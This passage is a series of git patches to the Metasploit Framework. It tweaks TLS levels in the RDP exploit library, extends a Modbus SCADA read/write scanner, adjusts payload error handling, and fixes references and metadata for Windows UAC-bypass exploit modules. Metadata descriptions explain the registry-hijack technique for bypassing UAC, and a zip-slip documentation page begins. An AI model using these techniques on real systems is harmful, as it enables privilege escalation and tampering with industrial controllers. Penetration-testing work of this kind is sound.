"/modules/exploits/linux/http/librenms_collectd_cmd_inject.rb", + "is_install_path": true, + "ref_name": "linux/http/librenms_collectd_cmd_inject", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "needs_cleanup": null + }, "exploit_linux/http/lifesize_uvc_ping_rce": { "name": "LifeSize UVC Authenticated RCE via Ping", "fullname": "exploit/linux/http/lifesize_uvc_ping_rce", From d4e2ac696ac5a5297b47466f07ad4eb952488d12 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Sat, 7 Sep 2019 01:17:22 +0200 Subject: [PATCH 171/217] RDP lib: lower SSL security level for compatibility with stock Win7 --- lib/msf/core/exploit/rdp.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/exploit/rdp.rb b/lib/msf/core/exploit/rdp.rb index 6c4a532019..d29276eade 100644 --- a/lib/msf/core/exploit/rdp.rb +++ b/lib/msf/core/exploit/rdp.rb @@ -1008,6 +1008,7 @@ module Exploit::Remote::RDP def swap_sock_plain_to_ssl(nsock) ctx = OpenSSL::SSL::SSLContext.new ctx.min_version = OpenSSL::SSL::TLS1_VERSION + ctx.security_level = 0 # allow older signatures required by stock Win7 ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx) ssl.connect From edcddf2736f66f1003206eb2a1a87de940a06393 Mon Sep 17 00:00:00 2001 From: AZSG Date: Fri, 6 Sep 2019 22:40:31 -0500 Subject: [PATCH 172/217] Update modbusclient.rb --- .../auxiliary/scanner/scada/modbusclient.rb | 87 ++++++++++++++++--- 1 file changed, 75 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/scanner/scada/modbusclient.rb b/modules/auxiliary/scanner/scada/modbusclient.rb index 7656934fa5..8c7f931e18 100644 --- a/modules/auxiliary/scanner/scada/modbusclient.rb +++ b/modules/auxiliary/scanner/scada/modbusclient.rb @@ -19,26 +19,29 @@ class MetasploitModule < Msf::Auxiliary 'EsMnemon ', # original write-only module 'Arnaud SOULLIE ', # code that allows read/write 'Alexandrine TORRENTS ', # code that allows reading/writing at multiple consecutive addresses - 'Mathieu CHEVALIER ' + 'Mathieu CHEVALIER ', + 'AZSG MSF_LICENSE, 'Actions' => [ - ['READ_COILS', { 'Description' => 'Read bits from several coils' } ], - ['READ_REGISTERS', { 'Description' => 'Read words from several registers' } ], + ['READ_COILS', { 'Description' => 'Read bits from several coils' } ], #Function Code 1 Read Coils + ['READ_DISCRETE_INPUTS', { 'Description' => 'Read bits from several DISCRETE INPUTS' } ], #Function Code 2 Read Discrete Inputs + ['READ_HOLDING_REGISTERS', { 'Description' => 'Read words from several HOLDING registers' } ], #Function Code 3 Read Holding Registers + ['READ_INPUT_REGISTERS', { 'Description' => 'Read words from several INPUT registers' } ], #Function Code 4 Read Input Registers ['WRITE_COIL', { 'Description' => 'Write one bit to a coil' } ], ['WRITE_REGISTER', { 'Description' => 'Write one word to a register' } ], ['WRITE_COILS', { 'Description' => 'Write bits to several coils' } ], ['WRITE_REGISTERS', { 'Description' => 'Write words to several registers' } ] ], - 'DefaultAction' => 'READ_REGISTERS' + 'DefaultAction' => 'READ_HOLDING_REGISTERS' )) register_options( [ Opt::RPORT(502), OptInt.new('DATA_ADDRESS', [true, "Modbus data address"]), - OptInt.new('NUMBER', [false, "Number of coils/registers to read (READ_COILS ans READ_REGISTERS modes only)", 1]), + OptInt.new('NUMBER', [false, "Number of coils/registers to read (READ_COILS, READ_DISCRETE_INPUTS, READ_HOLDING_REGISTERS, READ_INPUT_REGISTERS modes only)", 1]), OptInt.new('DATA', [false, "Data to write (WRITE_COIL and WRITE_REGISTER modes only)"]), OptString.new('DATA_COILS', [false, "Data in binary to write (WRITE_COILS mode only) e.g. 0110"]), OptString.new('DATA_REGISTERS', [false, "Words to write to each register separated with a comma (WRITE_REGISTERS mode only) e.g. 1,2,3,4"]), @@ -170,17 +173,73 @@ class MetasploitModule < Msf::Auxiliary end end - def read_registers + def read_discrete_inputs if datastore['NUMBER']+datastore['DATA_ADDRESS'] > 65535 - print_error("Registers addresses go from 0 to 65535. You cannot go beyond.") + print_error("DISCRETE INPUT addresses go from 0 to 65535. You cannot go beyond.") return end - @function_code = 3 - print_status("Sending READ REGISTERS...") + @function_code = 0x2 + print_status("Sending READ DISCRETE INPUTS...") response = send_frame(make_read_payload) values = [] if response.nil? - print_error("No answer for the READ REGISTERS") + print_error("No answer for the READ DISCRETE INPUTS") + return + elsif response.unpack("C*")[7] == (0x80 | @function_code) + handle_error(response) + elsif response.unpack("C*")[7] == @function_code + loop = (datastore['NUMBER']-1)/8 + for i in 0..loop + bin_value = response[9+i].unpack("b*")[0] + list = bin_value.split("") + for j in 0..7 + list[j] = list[j].to_i + values[i*8 + j] = list[j] + end + end + values = values[0..(datastore['NUMBER']-1)] + print_good("#{datastore['NUMBER']} DISCRETE INPUT values from address #{datastore['DATA_ADDRESS']} : ") + print_good("#{values}") + else + print_error("Unknown answer") + end + end + + def read_holding_registers + if datastore['NUMBER']+datastore['DATA_ADDRESS'] > 65535 + print_error("Holding Registers addresses go from 0 to 65535. You cannot go beyond.") + return + end + @function_code = 3 + print_status("Sending READ HOLDING REGISTERS...") + response = send_frame(make_read_payload) + values = [] + if response.nil? + print_error("No answer for the READ HOLDING REGISTERS") + elsif response.unpack("C*")[7] == (0x80 | @function_code) + handle_error(response) + elsif response.unpack("C*")[7] == @function_code + for i in 0..(datastore['NUMBER']-1) + values.push(response[9+2*i..10+2*i].unpack("n")[0]) + end + print_good("#{datastore['NUMBER']} register values from address #{datastore['DATA_ADDRESS']} : ") + print_good("#{values}") + else + print_error("Unknown answer") + end + end + + def read_input_registers + if datastore['NUMBER']+datastore['DATA_ADDRESS'] > 65535 + print_error("Input Registers addresses go from 0 to 65535. You cannot go beyond.") + return + end + @function_code = 4 + print_status("Sending READ INPUT REGISTERS...") + response = send_frame(make_read_payload) + values = [] + if response.nil? + print_error("No answer for the READ INPUT REGISTERS") elsif response.unpack("C*")[7] == (0x80 | @function_code) handle_error(response) elsif response.unpack("C*")[7] == @function_code @@ -317,8 +376,12 @@ class MetasploitModule < Msf::Auxiliary case action.name when "READ_COILS" read_coils - when "READ_REGISTERS" - read_registers + when "READ_DISCRETE_INPUTS" + read_discrete_inputs + when "READ_HOLDING_REGISTERS" + read_holding_registers + when "READ_INPUT_REGISTERS" + read_input_registers when "WRITE_COIL" write_coil when "WRITE_REGISTER" From 1d91e7f53ca5a1fae8a3bed919d5b1b6f4c785c4 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 7 Sep 2019 07:21:40 -0400 Subject: [PATCH 173/217] make payload generation failures at boot time non-fatal Currently, if any payload fails to generate that has a dynamic size, it causes a Framework instance to throw an exception on start. This can happen for a number of reasons, and more often than not it is enviromental (files missing, Y2k38 bugs, etc.). Instead of failing entirely, catch the exception and log as an error, don't register the payload, but continue booting. --- lib/msf/core/payload_set.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/payload_set.rb b/lib/msf/core/payload_set.rb index 5c99d7c789..4887d3d674 100644 --- a/lib/msf/core/payload_set.rb +++ b/lib/msf/core/payload_set.rb @@ -91,6 +91,8 @@ class PayloadSet < ModuleSet sizes[name] = p.cached_size || p.new.size # Don't cache generic payload sizes. rescue NoCompatiblePayloadError + rescue RuntimeError => e + elog("Unable to build #{name}, #{e}.") end } From a985da93186a3a04fe161a7e81e555591ffa6ab7 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Sat, 7 Sep 2019 07:38:37 -0400 Subject: [PATCH 174/217] expand scope of errors caught to include all StandardErrors --- lib/msf/core/payload_set.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload_set.rb b/lib/msf/core/payload_set.rb index 4887d3d674..d6748ff849 100644 --- a/lib/msf/core/payload_set.rb +++ b/lib/msf/core/payload_set.rb @@ -91,7 +91,7 @@ class PayloadSet < ModuleSet sizes[name] = p.cached_size || p.new.size # Don't cache generic payload sizes. rescue NoCompatiblePayloadError - rescue RuntimeError => e + rescue StandardError => e elog("Unable to build #{name}, #{e}.") end } From 49a991891c83d85d1a162104dedcecfb18c50f4e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Sat, 7 Sep 2019 17:19:59 +0200 Subject: [PATCH 175/217] Add RDP_TLS_SECURITY_LEVEL advanced option --- lib/msf/core/exploit/rdp.rb | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/rdp.rb b/lib/msf/core/exploit/rdp.rb index d29276eade..ffc48950a0 100644 --- a/lib/msf/core/exploit/rdp.rb +++ b/lib/msf/core/exploit/rdp.rb @@ -24,6 +24,10 @@ module Exploit::Remote::RDP OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connect', '192.168.0.100']), Opt::RPORT(3389) ], Msf::Exploit::Remote::RDP) + register_advanced_options( + [ + OptInt.new('RDP_TLS_SECURITY_LEVEL', [ false, 'Change default TLS security level. "0" means everything is permitted. "1" rejects very weak parameters and "2" is even stricter.' ]) + ], Msf::Exploit::Remote::RDP) end @@ -1008,10 +1012,17 @@ module Exploit::Remote::RDP def swap_sock_plain_to_ssl(nsock) ctx = OpenSSL::SSL::SSLContext.new ctx.min_version = OpenSSL::SSL::TLS1_VERSION - ctx.security_level = 0 # allow older signatures required by stock Win7 + unless datastore['RDP_TLS_SECURITY_LEVEL'].nil? + ctx.security_level = datastore['RDP_TLS_SECURITY_LEVEL'] + end ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx) - ssl.connect + begin + ssl.connect + rescue Errno::ECONNRESET + vprint_error("Retry with advanced option RDP_TLS_SECURITY_LEVEL=0") + raise + end nsock.extend(Rex::Socket::SslTcp) nsock.sslsock = ssl From 579ea56f3bc0e2f7386418b6c447e5570dc3d0dd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Sat, 7 Sep 2019 18:39:59 +0200 Subject: [PATCH 176/217] RDP_TLS_SECURITY_LEVEL default value is 0 (less secure) --- lib/msf/core/exploit/rdp.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/rdp.rb b/lib/msf/core/exploit/rdp.rb index ffc48950a0..b4b95f0d5f 100644 --- a/lib/msf/core/exploit/rdp.rb +++ b/lib/msf/core/exploit/rdp.rb @@ -26,7 +26,7 @@ module Exploit::Remote::RDP ], Msf::Exploit::Remote::RDP) register_advanced_options( [ - OptInt.new('RDP_TLS_SECURITY_LEVEL', [ false, 'Change default TLS security level. "0" means everything is permitted. "1" rejects very weak parameters and "2" is even stricter.' ]) + OptInt.new('RDP_TLS_SECURITY_LEVEL', [ true, 'Change default TLS security level. "0" (default) means everything is permitted. "1" rejects very weak parameters and "2" is even stricter.', 0 ]) ], Msf::Exploit::Remote::RDP) end @@ -1012,9 +1012,7 @@ module Exploit::Remote::RDP def swap_sock_plain_to_ssl(nsock) ctx = OpenSSL::SSL::SSLContext.new ctx.min_version = OpenSSL::SSL::TLS1_VERSION - unless datastore['RDP_TLS_SECURITY_LEVEL'].nil? - ctx.security_level = datastore['RDP_TLS_SECURITY_LEVEL'] - end + ctx.security_level = datastore['RDP_TLS_SECURITY_LEVEL'] ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx) begin From d25d8e77b8c1610d37a0204d0905b91d7be0f2b9 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 7 Sep 2019 23:54:19 -0400 Subject: [PATCH 177/217] 12291 sempervictus words --- lib/msf/core/payload_set.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload_set.rb b/lib/msf/core/payload_set.rb index d6748ff849..e9fa1b3ccc 100644 --- a/lib/msf/core/payload_set.rb +++ b/lib/msf/core/payload_set.rb @@ -92,7 +92,7 @@ class PayloadSet < ModuleSet # Don't cache generic payload sizes. rescue NoCompatiblePayloadError rescue StandardError => e - elog("Unable to build #{name}, #{e}.") + elog("Unable to build payload #{name} due to #{e}.") end } From ce5f8d8d2fc700cddb2d79b0df6d03c3f08b04b2 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 8 Sep 2019 00:06:49 -0400 Subject: [PATCH 178/217] add datastore option --- modules/post/multi/gather/resolve_hosts.rb | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb index f0b80fa0b4..42d6b9af19 100644 --- a/modules/post/multi/gather/resolve_hosts.rb +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -20,7 +20,8 @@ class MetasploitModule < Msf::Post register_options([ OptString.new('HOSTNAMES', [false, 'Comma seperated list of hostnames to resolve.']), OptPath.new('HOSTFILE', [false, 'Line separated file with hostnames to resolve.']), - OptEnum.new('AI_FAMILY', [true, 'Address Family', 'IPv4', ['IPv4', 'IPv6'] ]) + OptEnum.new('AI_FAMILY', [true, 'Address Family', 'IPv4', ['IPv4', 'IPv6'] ]), + OptBool.new('DATABASE', [false, 'Report found hosts to DB', true]) ]) end @@ -72,10 +73,12 @@ class MetasploitModule < Msf::Post if result[:ip].nil? table << [result[:hostname], '[Failed To Resolve]'] else - report_host( - host: result[:ip], - name: result[:hostname] - ) + if datastore['DATABASE'] + report_host( + host: result[:ip], + name: result[:hostname] + ) + end table << [result[:hostname], result[:ip]] end end From f60e8a3dbd3e6d05264182e26e31ca660563e9c9 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 8 Sep 2019 00:11:11 -0400 Subject: [PATCH 179/217] less indents --- modules/post/multi/gather/resolve_hosts.rb | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb index 42d6b9af19..8a08a1bac1 100644 --- a/modules/post/multi/gather/resolve_hosts.rb +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -72,15 +72,17 @@ class MetasploitModule < Msf::Post response.each do |result| if result[:ip].nil? table << [result[:hostname], '[Failed To Resolve]'] - else - if datastore['DATABASE'] - report_host( - host: result[:ip], - name: result[:hostname] - ) - end - table << [result[:hostname], result[:ip]] + next end + + if datastore['DATABASE'] + report_host( + host: result[:ip], + name: result[:hostname] + ) + end + + table << [result[:hostname], result[:ip]] end table.print From 78c4bfee955678c8f74d60d3ca35f19eb62e9b0b Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 8 Sep 2019 00:33:16 -0400 Subject: [PATCH 180/217] add url for fodhelper --- modules/exploits/windows/local/bypassuac_fodhelper.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/bypassuac_fodhelper.rb b/modules/exploits/windows/local/bypassuac_fodhelper.rb index 888364ce4c..0bf470b250 100644 --- a/modules/exploits/windows/local/bypassuac_fodhelper.rb +++ b/modules/exploits/windows/local/bypassuac_fodhelper.rb @@ -55,7 +55,8 @@ class MetasploitModule < Msf::Exploit::Local 'References' => [ [ 'URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/', - 'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1' + 'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1', + 'URL', 'https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/' ] ], 'DisclosureDate' => 'May 12 2017' From 054a092eb26915a61d94983acc883737966ac02b Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 8 Sep 2019 00:42:21 -0400 Subject: [PATCH 181/217] fix references in bypassuac modules --- modules/exploits/windows/local/bypassuac_eventvwr.rb | 9 ++++----- modules/exploits/windows/local/bypassuac_fodhelper.rb | 11 +++++------ modules/exploits/windows/local/bypassuac_injection.rb | 9 ++++----- .../windows/local/bypassuac_injection_winsxs.rb | 4 +--- .../exploits/windows/local/bypassuac_sluihijack.rb | 9 ++++----- modules/exploits/windows/local/bypassuac_vbs.rb | 9 ++++----- 6 files changed, 22 insertions(+), 29 deletions(-) diff --git a/modules/exploits/windows/local/bypassuac_eventvwr.rb b/modules/exploits/windows/local/bypassuac_eventvwr.rb index 296eccfe33..1b3d804c75 100644 --- a/modules/exploits/windows/local/bypassuac_eventvwr.rb +++ b/modules/exploits/windows/local/bypassuac_eventvwr.rb @@ -52,12 +52,11 @@ class MetasploitModule < Msf::Exploit::Local [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, - 'References' => [ + 'References' => [ - 'URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/', - 'URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1' - ] - ], + ['URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/'], + ['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1'] + ], 'DisclosureDate'=> 'Aug 15 2016' )) end diff --git a/modules/exploits/windows/local/bypassuac_fodhelper.rb b/modules/exploits/windows/local/bypassuac_fodhelper.rb index 0bf470b250..832617e33c 100644 --- a/modules/exploits/windows/local/bypassuac_fodhelper.rb +++ b/modules/exploits/windows/local/bypassuac_fodhelper.rb @@ -52,13 +52,12 @@ class MetasploitModule < Msf::Exploit::Local [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, - 'References' => [ + 'References' => [ - 'URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/', - 'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1', - 'URL', 'https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/' - ] - ], + ['URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/'], + ['URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'], + ['URL', 'https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/'] + ], 'DisclosureDate' => 'May 12 2017' ) ) diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index 42dd874d1f..0ce0044776 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -44,12 +44,11 @@ class MetasploitModule < Msf::Exploit::Local [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, - 'References' => [ + 'References' => [ - 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/', - 'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html' - ] - ], + ['URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/'], + ['URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'] + ], 'DisclosureDate'=> 'Dec 31 2010' )) diff --git a/modules/exploits/windows/local/bypassuac_injection_winsxs.rb b/modules/exploits/windows/local/bypassuac_injection_winsxs.rb index 5986c50804..a602659368 100644 --- a/modules/exploits/windows/local/bypassuac_injection_winsxs.rb +++ b/modules/exploits/windows/local/bypassuac_injection_winsxs.rb @@ -39,9 +39,7 @@ class MetasploitModule < Msf::Exploit::Local ], 'DefaultTarget' => 0, 'References' => [ - [ - 'URL', 'https://github.com/L3cr0f/DccwBypassUAC' - ] + ['URL', 'https://github.com/L3cr0f/DccwBypassUAC'] ], 'DisclosureDate'=> 'Apr 06 2017' )) diff --git a/modules/exploits/windows/local/bypassuac_sluihijack.rb b/modules/exploits/windows/local/bypassuac_sluihijack.rb index 14e7dfe7f7..2cb3b41976 100644 --- a/modules/exploits/windows/local/bypassuac_sluihijack.rb +++ b/modules/exploits/windows/local/bypassuac_sluihijack.rb @@ -54,12 +54,11 @@ class MetasploitModule < Msf::Exploit::Local ['Windows x64', { 'Arch' => ARCH_X64 }] ], 'DefaultTarget' => 0, - 'References' => [ + 'References' => [ - 'URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation', - 'URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1' - ] - ], + ['URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation'], + ['URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1'] + ], 'DisclosureDate' => 'Jan 15 2018' ) ) diff --git a/modules/exploits/windows/local/bypassuac_vbs.rb b/modules/exploits/windows/local/bypassuac_vbs.rb index 0c5f36b6b0..36cc571e46 100644 --- a/modules/exploits/windows/local/bypassuac_vbs.rb +++ b/modules/exploits/windows/local/bypassuac_vbs.rb @@ -30,12 +30,11 @@ class MetasploitModule < Msf::Exploit::Local [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ] ], 'DefaultTarget' => 0, - 'References' => [ + 'References' => [ - 'URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html', - 'URL', 'https://github.com/Vozzie/uacscript' - ] - ], + ['URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html'], + ['URL', 'https://github.com/Vozzie/uacscript'] + ], 'DisclosureDate'=> 'Aug 22 2015' )) From a990191f990cc123fe1b5190f048bced4a4a221b Mon Sep 17 00:00:00 2001 From: AZSG Date: Sat, 7 Sep 2019 23:54:43 -0500 Subject: [PATCH 182/217] Update modbusclient.rb --- modules/auxiliary/scanner/scada/modbusclient.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/scada/modbusclient.rb b/modules/auxiliary/scanner/scada/modbusclient.rb index 8c7f931e18..3b6a453581 100644 --- a/modules/auxiliary/scanner/scada/modbusclient.rb +++ b/modules/auxiliary/scanner/scada/modbusclient.rb @@ -20,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary 'Arnaud SOULLIE ', # code that allows read/write 'Alexandrine TORRENTS ', # code that allows reading/writing at multiple consecutive addresses 'Mathieu CHEVALIER ', - 'AZSG ' # updated read actions to include function codes 2 and 4 and renamed actions to align with modbus standard 1.1b3 ], 'License' => MSF_LICENSE, 'Actions' => From 0cbfaccc7d5e2a95a34abf4b39c3c1a3dd85e4ee Mon Sep 17 00:00:00 2001 From: Metasploit Date: Sun, 8 Sep 2019 00:09:39 -0500 Subject: [PATCH 183/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 28 +++++++++++++++++----------- 1 file changed, 17 insertions(+), 11 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index e6e74ca07a..3307eb95bb 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -124644,7 +124644,8 @@ ], "description": "This module will bypass Windows UAC by hijacking a special key in the Registry under\n the current user hive, and inserting a custom command that will get invoked when\n the Windows Event Viewer is launched. It will spawn a second shell that has the UAC\n flag turned off.\n\n This module modifies a registry key, but cleans up the key once the payload has\n been invoked.\n\n The module does not require the architecture of the payload to match the OS. If\n specifying EXE::Custom your DLL should call ExitProcess() after starting your\n payload in a separate process.", "references": [ - + "URL-https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "URL-https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1" ], "platform": "Windows", "arch": "", @@ -124659,7 +124660,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2018-10-31 16:31:52 +0000", + "mod_time": "2019-09-08 00:42:21 +0000", "path": "/modules/exploits/windows/local/bypassuac_eventvwr.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_eventvwr", @@ -124685,7 +124686,9 @@ ], "description": "This module will bypass Windows 10 UAC by hijacking a special key in the Registry under\n the current user hive, and inserting a custom command that will get invoked when\n the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC\n flag turned off.\n\n This module modifies a registry key, but cleans up the key once the payload has\n been invoked.\n\n The module does not require the architecture of the payload to match the OS. If\n specifying EXE::Custom your DLL should call ExitProcess() after starting your\n payload in a separate process.", "references": [ - + "URL-https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/", + "URL-https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1", + "URL-https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/" ], "platform": "Windows", "arch": "", @@ -124700,7 +124703,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2019-09-08 00:42:21 +0000", "path": "/modules/exploits/windows/local/bypassuac_fodhelper.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_fodhelper", @@ -124730,7 +124733,8 @@ ], "description": "This module will bypass Windows UAC by utilizing the trusted publisher\n certificate through process injection. It will spawn a second shell that\n has the UAC flag turned off. This module uses the Reflective DLL Injection\n technique to drop only the DLL payload binary instead of three separate\n binaries in the standard technique. However, it requires the correct\n architecture to be selected, (use x64 for SYSWOW64 systems also).\n If specifying EXE::Custom your DLL should call ExitProcess() after starting\n your payload in a separate process.", "references": [ - + "URL-http://www.trustedsec.com/december-2010/bypass-windows-uac/", + "URL-http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html" ], "platform": "Windows", "arch": "", @@ -124745,7 +124749,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2017-09-13 22:03:34 +0000", + "mod_time": "2019-09-08 00:42:21 +0000", "path": "/modules/exploits/windows/local/bypassuac_injection.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_injection", @@ -124785,7 +124789,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2019-08-15 18:10:44 +0000", + "mod_time": "2019-09-08 00:42:21 +0000", "path": "/modules/exploits/windows/local/bypassuac_injection_winsxs.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_injection_winsxs", @@ -124857,7 +124861,8 @@ ], "description": "This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under\n the Current User hive, and inserting a custom command that will get invoked when any binary\n (.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable\n to file handler hijacking. When we run slui.exe with changed Registry key\n (HKCU:\\Software\\Classes\\exefile\\shell\\open\\command), it will run our custom command as Admin\n instead of slui.exe.\n\n The module modifies the registry in order for this exploit to work. The modification is\n reverted once the exploitation attempt has finished.\n\n The module does not require the architecture of the payload to match the OS. If\n specifying EXE::Custom your DLL should call ExitProcess() after starting the\n payload in a different process.", "references": [ - + "URL-https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation", + "URL-https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1" ], "platform": "Windows", "arch": "", @@ -124872,7 +124877,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2019-06-26 14:25:32 +0000", + "mod_time": "2019-09-08 00:42:21 +0000", "path": "/modules/exploits/windows/local/bypassuac_sluihijack.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_sluihijack", @@ -124898,7 +124903,8 @@ ], "description": "This module will bypass Windows UAC by utilizing the missing .manifest on the script host\n cscript/wscript.exe binaries.", "references": [ - + "URL-http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html", + "URL-https://github.com/Vozzie/uacscript" ], "platform": "Windows", "arch": "", @@ -124912,7 +124918,7 @@ "targets": [ "Automatic" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2019-09-08 00:42:21 +0000", "path": "/modules/exploits/windows/local/bypassuac_vbs.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_vbs", From 9297809b41c0d52fbba199da7910a89960655469 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mat=C3=BA=C5=A1=20Bursa?= Date: Mon, 9 Sep 2019 12:59:19 +0200 Subject: [PATCH 184/217] fix permissions bug Gemfile.lock There was an error while trying to write to /usr/src/metasploit-framework/Gemfile.lock. It is likely that you need to grant write permissions for that path. --- Dockerfile | 1 + 1 file changed, 1 insertion(+) diff --git a/Dockerfile b/Dockerfile index a447399e9c..39537cc08d 100644 --- a/Dockerfile +++ b/Dockerfile @@ -53,6 +53,7 @@ RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap) COPY --chown=root:metasploit --from=builder /usr/local/bundle /usr/local/bundle COPY --chown=root:metasploit . $APP_HOME/ +RUN chmod 664 $APP_HOME/Gemfile.lock RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml WORKDIR $APP_HOME From 5e6568516782623cbf48a0d280c1d04fc5468274 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Mon, 9 Sep 2019 12:00:05 -0500 Subject: [PATCH 185/217] Update documentation for zip slip --- .../exploit/multi/fileformat/zip_slip.md | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 documentation/modules/exploit/multi/fileformat/zip_slip.md diff --git a/documentation/modules/exploit/multi/fileformat/zip_slip.md b/documentation/modules/exploit/multi/fileformat/zip_slip.md new file mode 100644 index 0000000000..ed15a84779 --- /dev/null +++ b/documentation/modules/exploit/multi/fileformat/zip_slip.md @@ -0,0 +1,37 @@ +## Description + +This is a generic arbitrary file overwrite technique, which typically results in remote command execution. This targets a simple yet widespread vulnerability that has been seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc. The idea is that often archive extraction libraries have no mitigations against directory traversal attacks. If an application uses it, there is a risk when opening an archive that is maliciously modified, and result in 